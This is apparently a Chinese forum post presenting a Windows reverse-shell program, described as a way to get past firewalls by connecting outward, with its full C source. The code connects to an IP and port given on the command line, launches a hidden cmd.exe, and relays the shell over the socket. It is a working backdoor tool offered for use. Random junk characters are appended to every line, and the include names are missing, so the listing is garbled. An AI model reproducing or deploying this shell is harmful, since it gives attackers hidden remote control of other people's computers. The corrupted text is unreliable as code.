这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4Y!_tZ>
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/* ============================== xmp^`^v*
Rebound port in Windows NT V
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By wind,2006/7 fJ8Q\lb<_
===============================*/ ,lUr[xzV
#include Z?AX
#include bzh`s<+
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#pragma comment(lib,"wsock32.lib") -!JnyD
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void OutputShell(); gPYF2m
SOCKET sClient; %`b
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; XI8rU)q
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void main(int argc,char **argv) Oqy&V&-C
{ eABLBsx
WSADATA stWsaData; ^}\!Sn
int nRet; '"~ 2xiin
SOCKADDR_IN stSaiClient,stSaiServer; U|!L{+F
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if(argc != 3) T
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{ stcbM
printf("Useage:\n\rRebound DestIP DestPort\n"); d|Q_Z@;JF
return; 530Z>q
} !W?6,i -]
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WSAStartup(MAKEWORD(2,2),&stWsaData); Th%2pwvER
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .*acw
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stSaiClient.sin_family = AF_INET; 1 Ka,u20
stSaiClient.sin_port = htons(0); /_g-w93
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c(5r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Qe,aIh
{ WY3D.z-</
printf("Bind Socket Failed!\n"); +PfXc?VU
return; }US^GEs(
} J=@D]I*3
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stSaiServer.sin_family = AF_INET; B!X;T9^d
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !caY
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AFN"#M
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D<SLv,Y
{ LH_rc
printf("Connect Error!"); \n}@}E L
return; `of`u B
} Z#nPn>,q
OutputShell(); .{}=!>U2
} 8a}et8df:
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void OutputShell() _t'S<jTI
{ `<3xi9
char szBuff[1024]; L2GUrf
SECURITY_ATTRIBUTES stSecurityAttributes; |?=a84n1l
OSVERSIONINFO stOsversionInfo; R_|Sg
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T|fmO<e*n
STARTUPINFO stStartupInfo; 7F!(60xY
char *szShell; Q(gc(bJV
PROCESS_INFORMATION stProcessInformation; ^xZ o.P
unsigned long lBytesRead; g4"0:^/
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9+!1jTGSkf
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9f/RD?(1O
stSecurityAttributes.lpSecurityDescriptor = 0; fP:26pK^
stSecurityAttributes.bInheritHandle = TRUE; Nd] w I|>
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )4@La&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [->uDbt zL
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A3jT;D9Y%
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z6Kw'3
stStartupInfo.wShowWindow = SW_HIDE; Ta0Ln
stStartupInfo.hStdInput = hReadPipe; 'tRaF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %8N=4vTJ
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GetVersionEx(&stOsversionInfo); O,>`#?
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switch(stOsversionInfo.dwPlatformId) (w+dB8)X
{ QL{{GQ_dn
case 1: XNm%O
szShell = "command.com"; XX@@tzN
break; LBs:O*;
default: Pn;Tg7oz
szShell = "cmd.exe"; 1`;,_>8
break; xbeVqP
} \4B2%H
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F_ Cp,
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send(sClient,szMsg,77,0); X=Th
while(1) ?mjQN|D
{ 4z$}e-
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); uBPxMwohR
if(lBytesRead) l-GQ AI8
{ @aX$}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~SWR|[
send(sClient,szBuff,lBytesRead,0); ^I4/{,Ev
} %I&[:
else ;g
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{ P%- @AmO^_
lBytesRead=recv(sClient,szBuff,1024,0); )w.\xA~|
if(lBytesRead<=0) break; k~<b~VcU
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /M.@dW7
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} p%_m!
} Ul41RNy)
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return; c,\!<4
}